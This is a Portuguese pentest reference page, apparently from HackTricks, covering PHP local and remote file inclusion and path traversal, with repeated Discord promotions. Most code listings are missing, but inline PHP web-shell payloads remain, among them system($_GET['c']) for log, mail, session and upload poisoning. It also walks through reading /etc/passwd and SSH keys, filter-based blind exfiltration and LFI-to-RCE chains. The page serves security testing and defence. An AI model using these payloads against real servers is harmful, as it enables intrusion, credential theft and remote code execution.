File Inclusion/Path traversal
Last updated
Last updated
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!
Insights de Hacking Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
Notícias de Hacking em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios Fique informado sobre as novas recompensas de bugs lançadas e atualizações cruciais da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Inclusão de Arquivos Remota (RFI): O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso está desativado por padrão (allow_url_include). Inclusão de Arquivos Local (LFI): O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
Funções PHP vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap
Misturando várias listas de LFI *nix e adicionando mais caminhos, criei esta:
Tente também mudar /
por \
Tente também adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada aqui
Mescla de diferentes listas de palavras:
Tente também mudar /
por \
Tente também remover C:/
e adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada aqui
Verifique a lista de LFI do linux.
Todos os exemplos são para Local File Inclusion, mas também podem ser aplicados a Remote File Inclusion (página=http://myserver.com/phpshellcode.txt\.
Bypass o acréscimo de mais caracteres no final da string fornecida (bypass de: $_GET['param']."php")
Isso está resolvido desde o PHP 5.4
Você pode usar codificações não padrão, como double URL encode (e outras):
Talvez o back-end esteja verificando o caminho da pasta:
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Este processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
Determinar a Profundidade do Diretório: Determine a profundidade do seu diretório atual buscando com sucesso o arquivo /etc/passwd
(aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
Procurar por Pastas: Anexe o nome da pasta suspeita (por exemplo, private
) à URL, e então navegue de volta para /etc/passwd
. O nível de diretório adicional requer aumentar a profundidade em um:
Interpretar os Resultados: A resposta do servidor indica se a pasta existe:
Erro / Sem Saída: A pasta private
provavelmente não existe na localização especificada.
Conteúdo de /etc/passwd
: A presença da pasta private
é confirmada.
Exploração Recursiva: Pastas descobertas podem ser investigadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se /var/www/
contém um diretório private
(supondo que o diretório atual esteja a uma profundidade de 3), use:
O truncamento de caminho é um método empregado para manipular caminhos de arquivos em aplicações web. É frequentemente utilizado para acessar arquivos restritos, contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivos. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
/etc/passwd
, /etc//passwd
, /etc/./passwd
, e /etc/passwd/
são todos tratados como o mesmo caminho.
Quando os últimos 6 caracteres são passwd
, adicionar um /
(tornando-o passwd/
) não muda o arquivo alvo.
Da mesma forma, se .php
for adicionado a um caminho de arquivo (como shellcode.php
), adicionar um /.
no final não alterará o arquivo sendo acessado.
Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar /etc/passwd
, um alvo comum devido ao seu conteúdo sensível (informações de conta de usuário):
Nesses cenários, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
Usando Segmentos de Ponto e Caracteres Adicionais: Sequências de travessia (../
) combinadas com segmentos de ponto e caracteres extras podem ser usadas para navegar pelo sistema de arquivos, ignorando efetivamente as strings anexadas pelo servidor.
Determinando o Número Necessário de Travessias: Através de tentativa e erro, pode-se encontrar o número preciso de sequências ../
necessárias para navegar até o diretório raiz e, em seguida, para /etc/passwd
, garantindo que quaisquer strings anexadas (como .php
) sejam neutralizadas, mas o caminho desejado (/etc/passwd
) permaneça intacto.
Começando com um Diretório Falso: É uma prática comum começar o caminho com um diretório inexistente (como a/
). Essa técnica é usada como uma medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminho do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
Essa vulnerabilidade foi corrigida no PHP 5.3.
Em php isso está desativado por padrão porque allow_url_include
está Desligado. Deve estar Ligado para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
Se por algum motivo allow_url_include
está Ativado, mas o PHP está filtrando o acesso a páginas da web externas, de acordo com este post, você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE:
No código anterior, o final +.txt
foi adicionado porque o atacante precisava de uma string que terminasse em .txt
, então a string termina com isso e, após a decodificação b64, essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
Outro exemplo não usando o protocolo php://
seria:
Em python, em um código como este:
Se o usuário passar um caminho absoluto para file_name
, o caminho anterior é apenas removido:
É o comportamento pretendido de acordo com a documentação:
Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
Parece que se você tiver uma Path Traversal em Java e pedir um diretório em vez de um arquivo, um listagem do diretório é retornada. Isso não acontecerá em outras linguagens (até onde sei).
Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivos locais (LFI) (de link):
Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Remove tags dos dados (tudo entre os caracteres "<" e ">")
Note que este filtro desapareceu das versões modernas do PHP
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforma para uma codificação diferente (convert.iconv.<input_enc>.<output_enc>
). Para obter a lista de todas as codificações suportadas, execute no console: iconv -l
Abusando do filtro de conversão convert.iconv.*
você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer uma função como incluir texto arbitrário. Para mais informações, consulte LFI2RCE via php filters.
zlib.deflate
: Comprime o conteúdo (útil se exfiltrando muitas informações)
zlib.inflate
: Descomprime os dados
mcrypt.*
: Obsoleto
mdecrypt.*
: Obsoleto
Outros Filtros
Executando em php var_dump(stream_get_filters());
você pode encontrar alguns filtros inesperados:
consumed
dechunk
: reverte a codificação HTTP em pedaços
convert.*
A parte "php://filter" não diferencia maiúsculas de minúsculas
Neste post é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica é baseada em uma exfiltração booleana do arquivo (caractere por caractere) usando filtros php como oráculo. Isso ocorre porque os filtros php podem ser usados para aumentar um texto o suficiente para que o php lance uma exceção.
No post original, você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido:
Use o codec UCS-4LE
para deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente.
Isso será usado para gerar um texto tão grande quando a letra inicial for adivinhada corretamente que o php acionará um erro.
O filtro dechunk removerá tudo se o primeiro caractere não for um hexadecimal, então podemos saber se o primeiro caractere é hexadecimal.
Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja um caractere hexadecimal. Porque se for hexadecimal, o dechunk não o deletará e a bomba inicial fará o php gerar um erro.
O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um a
, por exemplo, porque se aplicarmos 6 desse codec a->b->c->d->e->f->g a letra não é mais um caractere hexadecimal, portanto o dechunk não a deletou e o erro do php é acionado porque se multiplica com a bomba inicial.
Usando outras transformações como rot13 no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).
Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.
O problema final é ver como vazar mais do que a letra inicial. Usando filtros de memória de ordem como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível mudar a ordem dos caracteres e obter na primeira posição outras letras do texto.
E para poder obter mais dados a ideia é gerar 2 bytes de dados lixo no início com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazer com que seja pivô com os próximos 2 bytes, e deletar os dados até os dados lixo (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
No post, uma ferramenta para realizar isso automaticamente também foi vazada: php_filters_chain_oracle_exploit.
Este wrapper permite acessar descritores de arquivo que o processo tem abertos. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos:
Você também pode usar php://stdin, php://stdout e php://stderr para acessar os descritores de arquivo 0, 1 e 2 respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
Carregue um arquivo Zip ou Rar com um PHPShell dentro e acesse-o. Para poder abusar do protocolo rar, ele precisa ser ativado especificamente.
Note que este protocolo é restrito pelas configurações do php allow_url_open
e allow_url_include
Expect deve ser ativado. Você pode executar código usando isto:
Especifique seu payload nos parâmetros POST:
Um arquivo .phar
pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como include
para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo .phar
:
Para compilar o arquivo .phar
, o seguinte comando deve ser executado:
Ao ser executado, um arquivo chamado test.phar
será criado, o que pode ser potencialmente utilizado para explorar vulnerabilidades de Inclusão de Arquivo Local (LFI).
Em casos onde o LFI apenas realiza a leitura de arquivos sem executar o código PHP contido, através de funções como file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ou filesize()
, pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar
.
Para uma compreensão detalhada da exploração de vulnerabilidades de desserialização no contexto de arquivos .phar
, consulte o documento vinculado abaixo:
Phar Deserialization Exploitation Guide
phar:// deserializationFoi possível abusar de qualquer arquivo arbitrário lido do PHP que suporta filtros php para obter um RCE. A descrição detalhada pode ser encontrada neste post.
Um resumo muito rápido: um overflow de 3 bytes na heap do PHP foi abusado para alterar a cadeia de blocos livres de um tamanho específico para poder escrever qualquer coisa em qualquer endereço, então um hook foi adicionado para chamar system
.
Foi possível alocar blocos de tamanhos específicos abusando de mais filtros php.
Verifique mais possíveis protocolos para incluir aqui:
php://memory and php://temp — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
file:// — Acessando o sistema de arquivos local
http:// — Acessando URLs HTTP(s)
ftp:// — Acessando URLs FTP(s)
zlib:// — Fluxos de Compressão
glob:// — Encontrar nomes de caminho que correspondem ao padrão (não retorna nada imprimível, então não é realmente útil aqui)
ssh2:// — Secure Shell 2
ogg:// — Fluxos de áudio (não útil para ler arquivos arbitrários)
Os riscos de Inclusão de Arquivo Local (LFI) no PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contendo caracteres de travessia de diretório como ".." estiver sendo verificada, mas não devidamente sanitizada.
Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretório assim:
Enquanto isso visa impedir a travessia, inadvertidamente cria um vetor para injeção de código. Para explorar isso para ler o conteúdo de arquivos, um atacante poderia usar:
Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
É importante URL-encodar esses payloads.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!
Insights de Hacking Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
Notícias de Hack em Tempo Real Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
Últimos Anúncios Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Esta técnica é relevante em casos onde você controla o caminho do arquivo de uma função PHP que irá acessar um arquivo, mas você não verá o conteúdo do arquivo (como uma chamada simples para file()
) e o conteúdo não é exibido.
Em este incrível post é explicado como um blind path traversal pode ser abusado via filtro PHP para exfiltrar o conteúdo de um arquivo através de um oracle de erro.
Em resumo, a técnica usa a "codificação UCS-4LE" para tornar o conteúdo de um arquivo tão grande que a função PHP que abre o arquivo irá disparar um erro.
Então, para vazar o primeiro caractere, o filtro dechunk
é usado junto com outros como base64 ou rot13 e, finalmente, os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros caracteres no início e vazá-los.
Funções que podem ser vulneráveis: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (apenas alvo somente leitura com isso)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Para os detalhes técnicos, confira o post mencionado!
Explicado anteriormente, siga este link.
Se o servidor Apache ou Nginx for vulnerável a LFI dentro da função de inclusão, você pode tentar acessar /var/log/apache2/access.log
ou /var/log/nginx/access.log
, definindo dentro do user agent ou dentro de um parâmetro GET um shell PHP como <?php system($_GET['c']); ?>
e incluir esse arquivo
Observe que se você usar aspas duplas para o shell em vez de aspas simples, as aspas duplas serão modificadas para a string "quote;", PHP lançará um erro lá e nada mais será executado.
Além disso, certifique-se de escrever corretamente o payload ou o PHP irá gerar um erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
Isso também pode ser feito em outros logs, mas tenha cuidado, o código dentro dos logs pode estar URL codificado e isso pode destruir o Shell. O cabeçalho authorisation "basic" contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho. Outros possíveis caminhos de log:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Envie um e-mail para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?>
e tente incluir no e-mail do usuário com um caminho como /var/mail/<USERNAME>
ou /var/spool/mail/<USERNAME>
Faça upload de muitas shells (por exemplo: 100)
Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser forçado por brute force) e $FD o descritor de arquivo (também pode ser forçado por brute force)
Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ
Se você puder fazer upload de um arquivo, basta injetar a carga útil do shell nele (por exemplo: <?php system($_GET['c']); ?>
).
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:
Verifique se o site usa PHP Session (PHPSESSID)
Em PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_
Defina o cookie como <?php system('cat /etc/passwd');?>
Use a LFI para incluir o arquivo de sessão PHP
Se o ssh estiver ativo, verifique qual usuário está sendo utilizado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa
Os logs para o servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que uma vulnerabilidade de Local File Inclusion (LFI) existe, e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
Injete um payload PHP no campo de nome de usuário durante o processo de login.
Após a injeção, utilize o LFI para recuperar os logs do servidor de /var/log/vsftpd.log.
Como mostrado em este artigo, o filtro PHP base64 simplesmente ignora não-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
Este writeup explica que você pode usar filtros php para gerar conteúdo arbitrário como saída. O que basicamente significa que você pode gerar código php arbitrário para o include sem precisar escrevê-lo em um arquivo.
LFI2RCE via PHP FiltersEnvie um arquivo que será armazenado como temporário em /tmp
, então na mesma requisição, acione uma falha de segmentação, e então o arquivo temporário não será deletado e você pode procurá-lo.
Se você encontrou uma Inclusão de Arquivo Local e o Nginx está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
LFI2RCE via Nginx temp filesSe você encontrou uma Inclusão de Arquivo Local mesmo que você não tenha uma sessão e session.auto_start
esteja Desligado
. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS
nos dados multipart POST, o PHP irá habilitar a sessão para você. Você poderia abusar disso para obter RCE:
Se você encontrou uma Inclusão de Arquivo Local e o servidor está rodando em Windows, você pode conseguir RCE:
LFI2RCE Via temp file uploadspearcmd.php
+ argumentos de URLComo explicado neste post, o script /usr/local/lib/phppearcmd.php
existe por padrão nas imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um =
, ele deve ser usado como um argumento.
A seguinte requisição cria um arquivo em /tmp/hello.php
com o conteúdo <?=phpinfo()?>
:
O seguinte explora uma vulnerabilidade CRLF para obter RCE (de aqui):
Se você encontrou uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:
LFI2RCE via phpinfo()PHP_STREAM_PREFER_STUDIO
+ Path DisclosureSe você encontrou uma Local File Inclusion e pode exfiltrar o caminho do arquivo temporário, MAS o servidor está verificando se o arquivo a ser incluído tem marcas PHP, você pode tentar contornar essa verificação com esta Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureSe você pode abusar do LFI para fazer upload de arquivos temporários e fazer o servidor congelar a execução do PHP, você poderia então forçar nomes de arquivos durante horas para encontrar o arquivo temporário:
LFI2RCE via Eternal waitingSe você incluir qualquer um dos arquivos /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Você precisa incluir o mesmo duas vezes para gerar esse erro).
Eu não sei como isso é útil, mas pode ser. Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são excluídos.
Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!
Hacking Insights Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
Real-Time Hack News Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
Latest Announcements Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)